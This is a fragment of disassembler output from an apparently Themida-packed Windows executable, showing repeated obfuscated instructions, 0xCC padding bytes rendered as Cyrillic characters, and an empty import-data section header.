[ebx-642D3CC6h], cl cmp al, bl rcr byte ptr [ebx-642D3CC6h], cl cmp al, bl rcr byte ptr [ebx-642D3CC6h], cl cmp al, bl rcr byte ptr [ebx-642D3CC6h], cl cmp al, bl rcr byte ptr [ebx-642D3CC6h], cl cmp al, bl rcr byte ptr [ebx-642D3CC6h], cl cmp al, bl rcr byte ptr [ebx-642D3CC6h], cl cmp al, bl rcr byte ptr [ebx-642D3CC6h], cl cmp al, bl rcr byte ptr [ebx-642D3CC6h], cl cmp al, bl rcr byte ptr [ebx-642D3CC6h], cl shl byte ptr [edx-5D2FD90Ch], 1 hlt sub_5D0537 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 26h dd 533h dup(26F4A2D0h), 0CCF4A2D0h, 574h dup(0CCCCCCCCh) db 3 dup(0CCh) asc_5D4D5B db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' ; DATA XREF: ___:off_43162Co db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллл',0 dd 1AA6h dup(0) Themida_ ends ; Section 5. (virtual address 001DC000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00000200 ( 512.) ; Offset to raw data for section: 001DC000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata2 segment para public 'DATA' use32 assume cs:_idata2 ;org 5DC000h dd 80h dup(0) align 1000h _idata2 ends end start